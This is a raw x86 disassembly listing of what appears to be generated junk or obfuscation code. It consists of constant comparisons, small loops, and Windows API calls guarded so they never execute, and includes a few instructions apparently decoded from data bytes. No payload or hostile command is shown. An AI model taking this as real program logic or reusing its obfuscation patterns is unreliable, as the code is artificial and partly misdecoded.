push eax
lea ecx, [ebp - 0x2310]
call fcn.004281c0
mov dword [eax], 0xb653b1da
jmp 0x40c090
mov ecx, 4
imul edx, ecx, 0
mov dword [ebp + edx - 0x270c], 0
push 0
lea ecx, [ebp - 0x2328]
call fcn.004281c0
cmp dword [eax], 0
jle 0x40c0f3
mov dword [ebp - 0x17d4], 1
jmp 0x40c0fd
mov dword [ebp - 0x17d4], 0
mov eax, dword [ebp - 0x1df8]
mov dword [ebp - 0x28d0], eax
mov ecx, 4
imul edx, ecx, 0
mov eax, dword [ebp + edx - 0xc90]
sub eax, 1
mov dword [ebp - 0x1408], eax
mov ecx, 4
imul edx, ecx, 0
mov eax, dword [ebp - 0x1408]
mov dword [ebp + edx - 0xc90], eax
cmp dword [ebp - 0x1408], 6
je 0x40c14b
mov dword [ebp - 0xc98], 1
jmp 0x40c155
mov dword [ebp - 0xc98], 0
cmp dword [ebp - 0xc98], 3
jne 0x40c16a
mov dword [ebp - 0x19ac], 1
jmp 0x40c174
mov dword [ebp - 0x19ac], 0
cmp dword [ebp - 0x19ac], 0xefa1
jge 0x40c18c
mov dword [ebp - 0xca0], 1
jmp 0x40c196
mov dword [ebp - 0xca0], 0
mov ecx, dword [ebp - 0x1410]
cmp dword [ebp - 0xca0], ecx
je 0x40c1b0
mov dword [ebp - 0x1bf4], 1
jmp 0x40c1ba
mov dword [ebp - 0x1bf4], 0
push 0
lea ecx, [ebp - 0x2310]
call fcn.004281c0
mov edx, dword [ebp - 0x205c]
mov dword [ebp - 0x28d8], edx
cmp dword [ebp - 0x1410], 0
jne 0x40c1fa
mov eax, 4
imul ecx, eax, 0
cmp dword [ebp + ecx - 0x2718], 0
jne 0x40c1fa
mov dword [ebp - 0xca8], 0
jmp 0x40c204
mov dword [ebp - 0xca8], 1
push 1
lea ecx, [ebp - 0x2310]
call fcn.004281c0
mov edx, dword [ebp - 0xca8]
mov dword [eax], edx
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x28e0], eax
mov ecx, dword [ebp - 0x1bfc]
add ecx, 0x9672
cmp dword [ebp - 0x17d4], ecx
jge 0x40c245
mov dword [ebp - 0xcb0], 1
jmp 0x40c24f
mov dword [ebp - 0xcb0], 0
push 0
lea ecx, [ebp - 0x2328]
call fcn.004281c0
mov edx, dword [ebp - 0xcb0]
cmp edx, dword [eax]
jl 0x40c272
mov dword [ebp - 0x1418], 1
jmp 0x40c27c
mov dword [ebp - 0x1418], 0
mov eax, dword [ebp - 0x1418]
mov dword [ebp - 0x1fd0], eax
lea ecx, [ebp - 0x2310]
call fcn.004281a0
lea ecx, [ebp - 0x2328]
call fcn.004281a0
jmp 0x40bfe8
mov dword [ebp - 0x31c], 0x49fe387
mov dword [ebp - 0x200], 0
mov dword [ebp - 0x23d8], 0x24f8
mov dword [ebp - 0x23d4], 0x24f8
mov dword [ebp - 0x23d0], 0x24f8
mov dword [ebp - 0x23cc], 0x24f8
mov dword [ebp - 0x80], 0
push 2
lea ecx, [ebp - 0x900]
call fcn.00428070
mov dword [ebp - 0x358], 0x653d4237
mov dword [ebp - 0x28e8], 0x8a3e09e1
mov dword [ebp - 0x514], 0
jmp 0x40c322
mov ecx, dword [ebp - 0x514]
add ecx, 1
mov dword [ebp - 0x514], ecx
cmp dword [ebp - 0x514], 2
jge 0x40c345
mov edx, dword [ebp - 0x514]
push edx
lea ecx, [ebp - 0x900]
call fcn.004281c0
mov dword [eax], 0xffffffff
jmp 0x40c313
mov eax, dword [ebp - 0x358]
add eax, 1
mov dword [ebp - 0x358], eax
mov dword [ebp - 0x31c], 0
jmp 0x40c36f
mov ecx, dword [ebp - 0x31c]
add ecx, 1
mov dword [ebp - 0x31c], ecx
cmp dword [ebp - 0x31c], 1
jg 0x40c759
mov dword [ebp - 0x380], 0x9dce
mov dword [ebp - 0x2140], 5
mov dword [ebp - 0x1c0c], 0xffffffff
mov edx, dword [ebp - 0x31c]
push edx
lea ecx, [ebp - 0x900]
call fcn.004281c0
mov dword [eax], 0x591b68de
mov dword [ebp - 0x80], 0
jmp 0x40c3c4
mov eax, dword [ebp - 0x80]
add eax, 1
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 1
jg 0x40c754
mov ecx, dword [ebp - 0x80]
push ecx
lea ecx, [ebp - 0x900]
call fcn.004281c0
cmp dword [eax], 0
je 0x40c5b2
mov dword [ebp - 0xa8c], 0x9ab8
mov dword [ebp - 0x200], 4
jmp 0x40c40b
mov edx, dword [ebp - 0x200]
sub edx, 1
mov dword [ebp - 0x200], edx
cmp dword [ebp - 0x200], 0
je 0x40c44b
mov dword [ebp - 0x358], 0
jmp 0x40c42f
mov eax, dword [ebp - 0x358]
add eax, 1
mov dword [ebp - 0x358], eax
cmp dword [ebp - 0x358], 0x1d
jg 0x40c449
mov ecx, dword [ebp - 0x380]
add ecx, 1
mov dword [ebp - 0x380], ecx
jmp 0x40c420
jmp 0x40c3fc
push 1
lea ecx, [ebp - 0x900]
call fcn.004281c0
mov esi, eax
mov edx, dword [ebp - 0x80]
push edx
lea ecx, [ebp - 0x900]
call fcn.004281c0
mov ecx, dword [esi]
imul ecx, dword [eax]
cmp ecx, dword [ebp - 0x200]
je 0x40c482
mov dword [ebp - 0xcb8], 1
jmp 0x40c48c
mov dword [ebp - 0xcb8], 0
mov edx, dword [ebp - 0x80]
push edx
lea ecx, [ebp - 0x900]
call fcn.004281c0
mov ecx, dword [ebp - 0xcb8]
cmp ecx, dword [eax]
jl 0x40c4ba
mov edx, 1
test edx, edx
je 0x40c4ba
mov dword [ebp - 0x1a9c], 1
jmp 0x40c4c4
mov dword [ebp - 0x1a9c], 0
mov eax, dword [ebp - 0x380]
imul eax, dword [ebp - 0x1a9c]
cmp dword [ebp - 0x380], eax
jl 0x40c4e5
mov dword [ebp - 0x1c04], 1
jmp 0x40c4ef
mov dword [ebp - 0x1c04], 0
mov ecx, dword [ebp - 0x80]
push ecx
lea ecx, [ebp - 0x900]
call fcn.004281c0
mov edx, dword [ebp - 0xa8c]
mov dword [ebp - 0x28f0], edx
mov eax, dword [ebp - 0xa8c]
mov dword [ebp - 0x28f8], eax
mov ecx, dword [ebp - 0x380]
add ecx, 1
cmp ecx, dword [ebp - 0xa8c]
jne 0x40c533
mov dword [ebp - 0x92c], 1
jmp 0x40c53d
mov dword [ebp - 0x92c], 0
mov edx, dword [ebp - 0x31c]
push edx
lea ecx, [ebp - 0x900]
call fcn.004281c0
mov ecx, dword [ebp - 0x92c]
mov dword [eax], ecx
cmp dword [ebp - 0x92c], 0xa1b14898
jbe 0x40c56f
mov dword [ebp - 0xcc0], 1
jmp 0x40c579
mov dword [ebp - 0xcc0], 0
cmp dword [ebp - 0xcc0], 0
jne 0x40c597
mov edx, 0xffff
test edx, edx
je 0x40c597
mov dword [ebp - 0x1420], 1
jmp 0x40c5a1
mov dword [ebp - 0x1420], 0
mov eax, dword [ebp - 0x1420]
mov dword [ebp - 0x2140], eax
jmp 0x40c74f
mov dword [ebp - 0x9f4], 0x33490ce6
mov ecx, dword [ebp - 0x80]
push ecx
lea ecx, [ebp - 0x900]
call fcn.004281c0
cmp dword [eax], 0
jne 0x40c5ee
mov edx, 4
imul eax, edx, 3
cmp dword [ebp + eax - 0x23d8], 0
jne 0x40c5ee
mov dword [ebp - 0x19b4], 0
jmp 0x40c5f8
mov dword [ebp - 0x19b4], 1
mov dword [ebp - 0x200], 0x5b7518d
cmp dword [ebp - 0x200], 0
jne 0x40c62b
mov ecx, dword [ebp - 0x80]
push ecx
lea ecx, [ebp - 0x900]
call fcn.004281c0
cmp dword [eax], 0
jne 0x40c62b
mov dword [ebp - 0xcc8], 0
jmp 0x40c635
mov dword [ebp - 0xcc8], 1
mov edx, dword [ebp - 0x1c0c]
cmp dword [ebp - 0xcc8], edx
jne 0x40c64f
mov dword [ebp - 0x17dc], 1
jmp 0x40c659
mov dword [ebp - 0x17dc], 0
mov eax, dword [ebp - 0x17dc]
add eax, 7
mov dword [ebp - 0x9f4], eax
jne 0x40c671
cmp dword [ebp - 0x9f4], 0
mov ecx, 0x4a53e8af
neg ecx
jne 0x40c68a
xor edx, edx
jne 0x40c68a
mov dword [ebp - 0xcd0], 0
jmp 0x40c694
mov dword [ebp - 0xcd0], 1
cmp dword [ebp - 0xcd0], 0x6ac3
jge 0x40c6ac
mov dword [ebp - 0x1428], 1
jmp 0x40c6b6
mov dword [ebp - 0x1428], 0
mov eax, dword [ebp - 0x380]
cmp eax, dword [ebp - 0x1428]
je 0x40c6d0
mov dword [ebp - 0xcd8], 1
jmp 0x40c6da
mov dword [ebp - 0xcd8], 0
push 1
lea ecx, [ebp - 0x900]
call fcn.004281c0
mov ecx, dword [ebp - 0xcd8]
cmp ecx, dword [eax]
jl 0x40c6fd
mov dword [ebp - 0xce0], 1
jmp 0x40c707
mov dword [ebp - 0xce0], 0
mov esi, dword [ebp - 0x19b4]
sub esi, dword [ebp - 0xce0]
mov edx, 4
imul eax, edx, 0
sub esi, dword [ebp + eax - 0x23d8]
mov ecx, dword [ebp - 0x80]
push ecx
lea ecx, [ebp - 0x900]
call fcn.004281c0
mov dword [eax], esi
mov byte [ebp - 0x1f1], 0
movzx edx, byte [ebp - 0x1f1]
test edx, edx
je 0x40c74f
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
jmp 0x40c3bb
jmp 0x40c360
lea ecx, [ebp - 0x900]
call fcn.004281a0
mov dword [ebp - 0x40c], 0
mov dword [ebp - 0x1c4], 0x76820624
push 3
lea ecx, [ebp - 0x2b40]
call fcn.00428070
push 1
lea ecx, [ebp - 0x2514]
call fcn.00428070
mov dword [ebp - 0x2900], 0x5f4b3f4b
mov dword [ebp - 0xd4], 0
jmp 0x40c7b7
mov eax, dword [ebp - 0xd4]
add eax, 1
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 3
jge 0x40c7da
mov ecx, dword [ebp - 0xd4]
push ecx
lea ecx, [ebp - 0x2b40]
call fcn.004281c0
mov dword [eax], 3
jmp 0x40c7a8
mov dword [ebp - 0xd4], 0
jmp 0x40c7f5
mov edx, dword [ebp - 0xd4]
add edx, 1
mov dword [ebp - 0xd4], edx
cmp dword [ebp - 0xd4], 1
jge 0x40c818
mov eax, dword [ebp - 0xd4]
push eax
lea ecx, [ebp - 0x2514]
call fcn.004281c0
mov dword [eax], 0x69b4
jmp 0x40c7e6
mov dword [ebp - 0x1c4], 0
jmp 0x40c833
mov ecx, dword [ebp - 0x1c4]
sub ecx, 1
mov dword [ebp - 0x1c4], ecx
cmp dword [ebp - 0x1c4], 0xfffffff5
jg 0x40c915
mov dword [ebp - 0x6ec], 0xfe1ca296
mov dword [ebp - 0x6ec], 0
jmp 0x40c865
mov edx, dword [ebp - 0x6ec]
add edx, 1
mov dword [ebp - 0x6ec], edx
cmp dword [ebp - 0x6ec], 2
jg 0x40c910
mov dword [ebp - 0x1fd8], 0x955
cmp dword [ebp - 0x1fd8], 0x195b
jle 0x40c8e7
popfd
cmp byte [ebp + ebp*8 - 0x2a], cl
iretd
mov byte [ebp - 0x2d0], 0
movzx eax, byte [ebp - 0x2d0]
test eax, eax
je 0x40c90b
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
jmp 0x40c856
jmp 0x40c824
mov dword [ebp - 0x1c4], 0
jmp 0x40c930
mov ecx, dword [ebp - 0x1c4]
add ecx, 1
mov dword [ebp - 0x1c4], ecx
cmp dword [ebp - 0x1c4], 4
je 0x40c96c
mov dword [ebp - 0x2908], 1
mov dword [ebp - 0x2910], 0xb9228064
mov dword [ebp - 0x2918], 0xc9dffbe5
push 0
lea ecx, [ebp - 0x2514]
call fcn.004281c0
mov dword [eax], 1
jmp 0x40c921
lea ecx, [ebp - 0x2514]
call fcn.004281a0
lea ecx, [ebp - 0x2b40]
call fcn.004281a0
push 3
lea ecx, [ebp - 0x258c]
call fcn.00428070
mov dword [ebp - 0x414], 0x6aabecba
mov dword [ebp - 0x51c], 0
jmp 0x40c9b4
mov edx, dword [ebp - 0x51c]
add edx, 1
mov dword [ebp - 0x51c], edx
cmp dword [ebp - 0x51c], 3
jge 0x40c9d7
mov eax, dword [ebp - 0x51c]
push eax
lea ecx, [ebp - 0x258c]
call fcn.004281c0
mov dword [eax], 0
jmp 0x40c9a5
mov dword [ebp - 0x414], 2
jmp 0x40c9f2
mov ecx, dword [ebp - 0x414]
sub ecx, 1
mov dword [ebp - 0x414], ecx
cmp dword [ebp - 0x414], 0
jl 0x40ca46
mov dword [ebp - 0x84c], 0x9f3690f1
mov dword [ebp - 0x84c], 2
jmp 0x40ca20
mov edx, dword [ebp - 0x84c]
sub edx, 1
mov dword [ebp - 0x84c], edx
cmp dword [ebp - 0x84c], 0
jl 0x40ca44
mov eax, dword [ebp - 0x414]
push eax
lea ecx, [ebp - 0x258c]
call fcn.004281c0
cmp dword [eax], 0
je 0x40ca42
jmp 0x40ca44
jmp 0x40ca11
jmp 0x40c9e3
mov byte [ebp - 0x1f9], 0
movzx ecx, byte [ebp - 0x1f9]
test ecx, ecx
je 0x40ca68
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_ScrollWindow]
lea ecx, [ebp - 0x258c]
call fcn.004281a0
mov dword [ebp - 0x194], 0xe66c79a8
mov dword [ebp - 0x3c], 0x2617
mov dword [ebp - 0xdc], 0x1d68c2af
mov dword [ebp - 0xd20], 0xeed050b7
mov dword [ebp - 0x524], 0x3bec767d
mov dword [ebp - 0x174], 0xb783
push 1
lea ecx, [ebp - 0x24c0]
call fcn.00428070
mov dword [ebp - 0x150], 0
jmp 0x40cad4
mov edx, dword [ebp - 0x150]
add edx, 1
mov dword [ebp - 0x150], edx
cmp dword [ebp - 0x150], 4
jge 0x40caf0
mov eax, dword [ebp - 0x150]
mov dword [ebp + eax*4 - 0xb04], 0x57bf5cd5
jmp 0x40cac5
mov dword [ebp - 0x150], 0
jmp 0x40cb0b
mov ecx, dword [ebp - 0x150]
add ecx, 1
mov dword [ebp - 0x150], ecx
cmp dword [ebp - 0x150], 1
jge 0x40cb2e
mov edx, dword [ebp - 0x150]
push edx
lea ecx, [ebp - 0x24c0]
call fcn.004281c0
mov dword [eax], 0xd85d5fca
jmp 0x40cafc
mov eax, 4
shl eax, 1
cmp dword [ebp + eax - 0xb04], 0
jne 0x40cc8c
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x2920], ecx
mov edx, 4
shl edx, 1
cmp dword [ebp + edx - 0xb04], 0xc509
jge 0x40cb75
mov eax, 0x63372585
test eax, eax
je 0x40cb75
mov dword [ebp - 0x1430], 1
jmp 0x40cb7f
mov dword [ebp - 0x1430], 0
mov ecx, dword [ebp - 0x3c]
cmp dword [ebp - 0x1430], ecx
jg 0x40cb9c
cmp dword [ebp - 0x3c], 0
je 0x40cb9c
mov dword [ebp - 0xce8], 1
jmp 0x40cba6
mov dword [ebp - 0xce8], 0
mov edx, 4
shl edx, 1
mov eax, dword [ebp + edx - 0xb04]
cmp dword [ebp - 0xce8], eax
jne 0x40cbda
mov ecx, 4
imul edx, ecx, 3
cmp dword [ebp + edx - 0xb04], 0
jne 0x40cbda
mov dword [ebp - 0x17e4], 0
jmp 0x40cbe4
mov dword [ebp - 0x17e4], 1
mov eax, dword [ebp - 0x17e4]
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0
je 0x40cc0e
mov ecx, 0x68fc786c
test ecx, ecx
je 0x40cc0e
mov dword [ebp - 0xcf0], 1
jmp 0x40cc18
mov dword [ebp - 0xcf0], 0
cmp dword [ebp - 0xcf0], 0x8ff7673e
jb 0x40cc30
mov dword [ebp - 0x1438], 1
jmp 0x40cc3a
mov dword [ebp - 0x1438], 0
mov edx, 4
shl edx, 1
mov eax, dword [ebp + edx - 0xb04]
cmp dword [ebp - 0x1438], eax
je 0x40cc5c
mov dword [ebp - 0xcf8], 1
jmp 0x40cc66
mov dword [ebp - 0xcf8], 0
mov ecx, 4
imul edx, ecx, 0
mov eax, dword [ebp + edx - 0xb04]
add eax, dword [ebp - 0xcf8]
sub eax, dword [ebp - 0x3c]
jne 0x40cc8c
mov dword [ebp - 0x1b38], 0
jmp 0x40cc96
mov dword [ebp - 0x1b38], 1
mov ecx, 0xa017779a
sub ecx, dword [ebp - 0x1b38]
mov dword [ebp - 0xd20], ecx
cmp dword [ebp - 0xdc], 3
je 0x40ccbc
mov dword [ebp - 0xd00], 1
jmp 0x40ccc6
mov dword [ebp - 0xd00], 0
cmp dword [ebp - 0xd00], 0x509e
jne 0x40ccde
mov dword [ebp - 0x1440], 1
jmp 0x40cce8
mov dword [ebp - 0x1440], 0
mov edx, dword [ebp - 0x3c]
cmp dword [ebp - 0x1440], edx
je 0x40ccff
mov dword [ebp - 0xd08], 1
jmp 0x40cd09
mov dword [ebp - 0xd08], 0
mov eax, 4
imul ecx, eax, 0
mov edx, dword [ebp + ecx - 0xb04]
cmp dword [ebp - 0xd08], edx
je 0x40cd2c
mov dword [ebp - 0x17ec], 1
jmp 0x40cd36
mov dword [ebp - 0x17ec], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x17ec], eax
jne 0x40cd4d
mov dword [ebp - 0xd10], 1
jmp 0x40cd57
mov dword [ebp - 0xd10], 0
mov ecx, dword [ebp - 0xd10]
mov dword [ebp - 0x524], ecx
cmp dword [ebp - 0x524], 0
jne 0x40cd8a
cmp dword [ebp - 0xdc], 0
jne 0x40cd8a
cmp dword [ebp - 0xdc], 0
jne 0x40cd8a
mov dword [ebp - 0x1448], 1
cmp dword [ebp - 0x1448], 0
jle 0x40cda1
cmp dword [ebp - 0x3c], 0
mov edx, dword [ebp - 0x524]
mov dword [ebp - 0x2928], edx
mov eax, dword [ebp - 0x174]
add eax, 4
cmp eax, 0xffffffff
jb 0x40cdc7